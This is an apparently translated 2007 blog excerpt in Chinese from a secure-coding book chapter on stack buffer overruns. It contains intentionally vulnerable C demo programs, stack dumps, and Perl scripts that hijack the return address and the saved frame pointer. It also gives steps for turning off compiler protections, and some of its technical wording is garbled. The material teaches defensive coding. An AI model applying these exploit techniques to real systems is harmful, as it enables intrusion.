2007年8月12日 星期日

系統安全公敵 - 緩衝溢位 (一)

系統安全公敵 - 緩衝溢位 ()

 


“緩 衝溢位”(Buffer Overrun)在安全上經常是一個問題,最有名的例子便是在1988年Robert T. Morris所設計的毒蟲(Worm)。這個毒蟲的英勇事蹟是導致整個網路幾乎停擺,而網路管理員則必須拔掉網路線,才能控制損害。緩衝區溢位的問題最早 可以追溯到1960年。關於這個議題,你可以在search.support.microsoft.com/kb這個網站上利用緩衝區、安全性等字眼,就 可以找到約20個以上合乎條件的搜尋。而這種標題所衍生出來的需求,則導致一些遠端特權擴大的情形。任何人在www.securityfocus.com 的錯誤通報郵件名單上面,都可以看到在各種不同的作業平台上所執行的程式,所發生的緩衝溢位的相關訊息。

由 此可知,緩衝溢位所帶來的衝擊是不可以低估的!微軟安全回報中心(Microsoft Security Response Center)估計如果發布一個安全性公告,以及建立其相關的修正程式(patch)需要花費100,000美金,但也祇是剛開始而已。數千個網路管理者 必須花更多時間將這些修正程式套用在各個系統上。而系統管理人員同時也必須去識別系統中是否尚有其他系統尚未套用這些修正程式、或者是想辦法通知這些系統 的使用者。更糟的是,使用網路的顧客,同樣的也會被這樣的問題波及。單一的攻擊有可能會造成天文數字的損失,如攻擊者已經侵入如信用卡卡號之類有價值的資 訊。在你的系統上所發生的小小疏忽,可能造成了百萬元的損失,更別提別人會因此而咒罵你了。如果因為你的疏乎,而造成這樣的損失的話,你應該要為自己的疏 乎承擔責任。事實通常是冷酷的,雖然人人都會犯錯,但有些錯誤卻會引起非常嚴重的後果。
緩衝溢位會成為今天的問題,在於貧乏的撰寫程式習慣,如C和C++缺乏安全、易用的字串、管理函數以及忽略重大的嚴重性…等。這些習慣等於程式設計師自己用槍射自己的腳。


視窗安全小組在2002年在微軟公司發展了一組字串處理函數,而這組函數與作業系統所製作的函數有類似的地方。我希望這些新的函數將會被納入標準,這樣不 管目標平台是什麼,我們都有有安全的字串處理子可以使用。我將會花一些時間在本章的「使用Strsafe.h」一節中來解釋Microsoft 版本的函數。
雖然我真的很喜歡BASIC的變數—你們可能認為我指的是Microsoft Visual Basic,但是我是因為需要行號(Java, Perl, C#)才開始撰寫BASIC的—而其它的高階語言,都會進行執行階段的陣列範圍檢查,而他們也有很多方便的字串型態,而這些語言都有他們自己方便的字串型 態,而這就是為什麼作業系統都以C寫成,有些會加入C++。因為原始的系統呼叫界面是以C或C++寫成的,程式設計人員將會可以更有彈性的使用他們。雖然 讓時間倒轉並且認定c是一個安全的字串型態,擁有安全函數的程式庫,但他們是不可能能。我們只要知道當我們我們的程式是使用在刀口上—那就要小心操刀了。

在接下來的部分,將舉出不同類型的緩衝溢位,諸如陣列索引錯誤、字串格式的臭蟲、Unicode與ANSI緩衝大小不合等等。筆者將告訴您一些方法排解這些問題,也會告訴您一些避免這些問題的技巧。


靜態緩衝溢位

當一個被宣告在堆疊中的緩衝區,經由複製資料的方式,被寫入了一個比緩衝區大的資料時,此時就稱為“靜態緩衝溢位”。在堆疊中宣告的變數,位在為 function caller所準備的回傳位址旁。一般犯罪的手法是將未檢驗的使用者輸入資訊傳送至如strcpy的函數中,其結果是函數的回傳位址被攻擊者所選擇的位址 所覆寫。一般攻擊者可以取得一個具備緩衝溢位的程式,並且做些他認為有用的事:像是在他們所選擇的位址埠上組合一些命令。不過攻擊者還是有一些需要克服 的,像是使用者輸入的資訊不一定完全未被檢驗,還有在緩衝中的字元的數目也受到限制。如果您使用的是佔有兩個字元(double-byte)的字元組(像 是中文),攻擊者可能就必須花較多時間克服,但還是有辦法解決的。接下來筆者將用C來展示一個簡易的溢位,請看看以下的語法:

/*
StackOverrun.c
這個程式顯示了stack-based緩衝區溢位,可以用來執行任何程式。它主要是找到一個執行函數列的輸入字串
*/
#include
#include
void foo(const char* input)
{
char buf[10];
//什麼?沒有其它的參數可以傳送給printf?

//當我們觀查格式時,我們將會再次看到這個把戲

printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n”);

//將使用者輸入直接送到安全程式碼,頭號公敵
strcpy(buf, input);
printf(“%s\n", buf);
printf(“Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”);
}
void bar(void)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
printf(“Address of foo = %p\n", foo);
printf(“Address of bar = %p\n", bar);
if (argc != 2)
{
printf("Please supply a string as an argument!\n");
return -1;
}
foo(argv[1]);
return 0;
}

這個例子就像程式語言初學範例的“Hello World”一樣簡單,筆者一開始做了一點欺騙的小動作,使用printf函數的%p引數列印出foo和bar兩個函數的位址。如果要實際入侵一個程式, 則必須試著跳進宣告於foo的靜態緩衝區,或是從系統中的動態連結資料庫(DLL)中找到一個有用的函數。這個練習的目的在於取得bar函數並執行。 Foo函數包含了一對printf的敘述,可以使用其多樣的引數在堆疊中列印出數值。真正的問題出現於foo函數盲目地接受使用者輸入的資訊,並且將其複 製到10個位元的緩衝之中。

 

Note

Stack-based緩衝溢位通常會被稱為靜態緩衝溢位。雖然靜態意味著一個真實的靜態變數,它將會被安排在全域記憶體空間中,靜態這個字眼與動態分配 是相對的。雖然靜態這個字眼代表了”超過負荷”,一般可以視為靜態緩衝溢位,等於“stack-based緩衝溢位”。

最好的方法就是在命令列中編譯程式,以產生一個可執行程式。請不要只是在Microsoft Visual C++中的偵錯模式中執行它,因為除錯(debug)會檢查堆疊的錯誤,且不會適當地顯示問題。然而,如果你將程式載入Visual C++,並在釋放模式(Release Mode)中執行,以下便讓我們來看看在提供一個字串作為命令引數之後的輸出值:
[d:\]StaticOverrun.exe Hello
Address of foo =00401000
Address of bar =00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <--我們要覆寫foo的回傳位址.
00410EDE

Hello
Now the stack looks like:
6C6C6548 <--您可以看到“hello”被複製到哪
0000006F
7FFDF000
0012FF80
0040108A
00410EDE
接著我們輸入一個長字串以測試buffer overrun:
[d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA
Address of foo =00401000
Address of bar =00401045
我的堆疊如下::
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
AAAAAAAAAAAAAAAAAAAAAAAA
結果堆疊就像以下這樣:
41414141
41414141
41414141
41414141
41414141
41414141
接著我們得到程式的錯誤訊息,表示要求0x41414141的指令,並試著在0x41414141的位址存取記憶體,如圖3-1所示:


圖 5-1 在靜態緩衝溢位發生之後,所顯示的程式錯誤訊息


要注意的是,如果您在系統中沒有安裝任何開發工具,這樣的訊息只會出現在Dr. Watson的紀錄中。您可以查閱ASCII碼,很快知道0x41表示字母A,這個結果證明我們的程式是可用的。如果你無法了解這樣的結果,並不代表Buffer Overrun不可用,那是因為您需要花更多時間去了解。

 

溢位是可被利用的嗎?

如我們先前所簡單描述的,有很多方法會引起剝削溢位。除了一些微不足道的例子,它一般不可能證明緩衝溢位並不是可被利用的。你只可以證明某些事情是剝削溢 位可被利用的,所以任何現存的緩衝區溢位也是剝削溢位。也就是說,如果你無法證明它是剝削溢位,請假設它是剝削溢位。如果你告訴應用程式緩衝區溢位並不是 剝削溢位,奇特的是某些人將會發現一個證明它是剝削溢位,它將會讓你覺得不知所措。更糟糕的是,那可能可能發現那個溢位是剝削溢位,並且告訴犯罪者!


現在你誤導了你的使用者,讓他們認為使用修正程式用來修正溢位問題,並不是最高的優先順位,並且有一個非公開的剝削溢位被用來攻擊你的客戶。我將會把這個 點再深入的探索,我曾經看過很多程式發展人員在他們修正程式前,先要求它被證明某些事情是剝削溢位。這是一個錯誤的觀念,而對於管理實體軟體來講,是很糟 糕的,並且宣稱每個程式都被稱式設計人員修正過了,依照程式設計師修復的複雜度及技術,他們可能會再製造出來一些新的臭蟲。


這種情況是真實的,但是讓我們來看看剝削溢位與特定的臭蟲之間有什麼差別?緩衝溢位起因於一個安全性的公報,如果你撰寫了一個公開的伺服器程式,則會因為 蠕蟲的關係而受到廣泛的蠕蟲攻擊。原始的臭蟲是起因於修復服務套件,或者是軟體維護。然而,我們需要權衡它的影響。


我認為剝削緩衝溢位比有100個臭蟲來的糟糕。同時,它也可能會花程式發展人員很多時間來判斷哪件事情是造成它的原因。它可能會花費少於一個小時的時間來 修復這個問題,並讓一些人來檢視你的變更。緩衝區溢位的修正通常不是冒險變更。即使你認為你無法找到可以利用的溢位方法,然後你可以確定真的沒有方法可以 產生剥削溢位。人們也會問,有辦法找到有問題的程式嗎?要判斷任何使用這個函數的可能程式管道及一系列的相關主題是很因難的,你並無法嚴格的判斷你是否檢 查了所有可能進入你的函數的方法。

 

重要

別只是修正你認為是剝削溢位的錯誤,也要修正臭蟲。


接著我們看看如何找到輸入程式的字元:
[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo =00401000
Address of bar =00401045

我的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EBE
ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890


結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
54535251
58575655


現在程式錯誤訊息顯示我們試著在0x54535251執行命令。由ASCII碼表得知,0x54表示字母T,這正是我們想要去修改的部分。接著我們再試試這個:


[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS
Address of foo =00401000
Address of bar =00401045


目前的堆疊如下:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE
ABCDEFGHIJKLMNOPQRS


結果堆疊如下::
44434241
48474645
4C4B4A49
504F4E4D
00535251
00410ECE


藉由改變使用者輸入,我們可以運用程式本身試著執行下個命令的特性。說得更白一點,如果我們以0x45、0x10、0x40代替QRS的話,可以得到 bar函數並且執行。然而您將如何在命令列中傳送像是0x10這些奇怪的字元呢?正如其他手段高明的駭客,筆者將利用以下叫做Hack- Overrun.pl 的Perl語法,以易於在程式中隨心所欲傳送指令:


$arg ="ABCDEFGHIJKLMNOP"."\x45 \x10 \x40";
$cmd ="StaticOverrun ".$arg;
system($cmd);


執行此語法以產生想要的結果:
[d:\devstudio \myprojects \staticoverrun ]perl HackOverrun.pl
Address of foo =00401000
Address of bar =00401045


目前的堆疊如下:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A
00410ECA
ABCDEFGHIJKLMNOPE?@


結果堆疊如下:
44434241
48474645
4C4B4A49
504F4E4D
00401045
00410ECA
Augh!I've been hacked!


這很簡單吧!其實初學者也很容易做到,但是在實際的攻擊中,我們將會填滿16個用來攻擊受害者的組合字元,並在緩衝的起頭設定回傳位址。


請注意,若你使用不同的編譯器或者是執行非英文版的作業系統,這些偏移量將會不同。而讀者會發現本書的前一版中,這個程式無法良好執行的原因就在這裡。當 然,這只是其中一個原因,我用了一些作弊的方法,並且印出了我的兩個函數,讓範例可以正確運作的方法就是使用下面所描述的方法,將bar函數的真實記憶體 位置放進你的Perl指令檔中,如果你使用Visual C++ .NET來編譯這些程式的話,預值值為/GS,以避免這個範例程式全部執行。除了將旗標拿出專案設定,或者是從自命令列中進行編譯。現在讓我們來看看這個 範例中,是什麼樣的小細節造成了很大的錯誤。


/*
OffByOne.c
*/
#include
#include
void foo(const char* in)
{
char buf[64];
strncpy(buf, in, sizeof(buf));
buf[sizeof(buf)] = ’\0’; //whups - off by one!
printf(“%s\n", buf);
}
void bar(const char* in)
{
printf(“Augh! I’ve been hacked!\n”);
}
int main(int argc, char* argv[])
{
if(argc != 2)
{
Chapter 5 Public Enemy #1: The Buffer Overrun 137
printf(“Usage is %s [string]\n", argv[0]);
return -1;
}
printf(“Address of foo is %p, address of bar is %p\n", foo, bar);
foo(argv[1]);
return 0;
}

我們可憐的程式設計師給了這個程式一個重擊—它使用strncpy將程式複製到緩衝區,而sizeof則被用來判斷緩衝區的大小。唯一犯的錯誤是它超過了它應該擁有的位元數。最好的方法是將偵錯的資訊加入所編譯過的軟體版本中。進入你的專案設定中,在C/C++ 設定中,設定偵錯設定選項,並且關閉會與最佳化相衝突的偵錯資訊。如果你使用Visual Studio .NET,請關閉/GS 選項及/RTC選項,或者是停用模擬項目。接下來,到連結選項中,啟動偵錯資訊(Debug Info)。

將開頭為a的字串都放到你的程式參數中,在foo處設定中斷點,接著讓我們來看看發生什麼事情。首先,先開啟你的登錄器編輯視窗,並且注意EBP值—這點 會變的非常的重要。現在,接著進入foo,拉下記憶體視窗,找出buf,strncpy呼叫將會把buf都填入a開頭的字串。而在buf下的下一個值是你 儲存的EBF指引器。現在執行下一行程式,以空字串結束1BUF,並且注意EBF指標是如何被儲存從0x0012FF80到0x0012FF00位址間的 變更。(在我的系統中,我用的是Visual C++ 6.0—而你的執行效果可跟我不同)。接著,判斷你儲存在0x0012FF00位址的內容—它現在被填入了0x41414141。現在執行printf 呼叫,右按程式,並且切換到反組譯模式。

開啟登錄器視窗,並且小心觀察會發生什麼事情。在ret指令之前,我們會看到ebp。現在,注意EBP登錄器中有我們的破壞值。我們現在回到我們開始要離 開的main 函數,而在籨從main函數返回前,執行的最後一個指令是mov esp、ebp—我們將要從EBP登錄器中取出它的內容—即我們的框架指標!請注意一旦我們執行了最後的ret呼叫,我們就會在0x41414141右邊 的位置。我們可以使用一個位元組就明確的控制執行流程。


要讓它成為剝削溢位的話,我們可以在簡單的stack-based的緩衝區溢位上使用相同的技巧。我們會將它修補到沒有錯誤為止。就像是第一個程式,一個用Perl撰寫的程式,是讓它運作的最簡單的方法。這裡是我的方法:


$arg = “AAAAAAAAAAAAAAAAAAAAAAAAAAAA”."\x40\x10\x40";
$cmd = “off_by_one “.$arg;
system($cmd);
這裡是它的輸出:
Address of foo is 00401000, address of bar is 00401040
AAAAAAAAAAAAAAAAAAAAAAAAAAAA@?@
Augh! I’ve been hacked!


要迎合這個剝削溢位的情況,需要幾種狀況。首先,在緩衝區的數位必須被4除盡,或者是住位元的緩衝溢位並不會改變儲存的EBP。接著,我們需要控制EBP 指向的位置,因此,如果EBP的最後的位元是0xF0,而我們的緩衝區少於240位元,我們並無法直接改變最後被移動到ESP中的值。不然,就會發生因為 差一錯誤而產生溢位的情況。“Apache mod_ssl,差一錯誤” 及wuftpd ‘glob是兩個很有名的例子,你可以在http://online.securityfocus.com/archive/1/279074及 ftp://ftp.wu-ftpd.org/pub/wu-ftpd-attic/cert.org/CA-2001-33這個位址找到它的內容。

注意

Intel的64位元處理器Itanium並不會在堆疊上推擠回傳位址,而回傳位址則由暫存器所掌握。這並不表示這個處理器不會受到buffer overrun的影響,只是較難達成overrun的效果。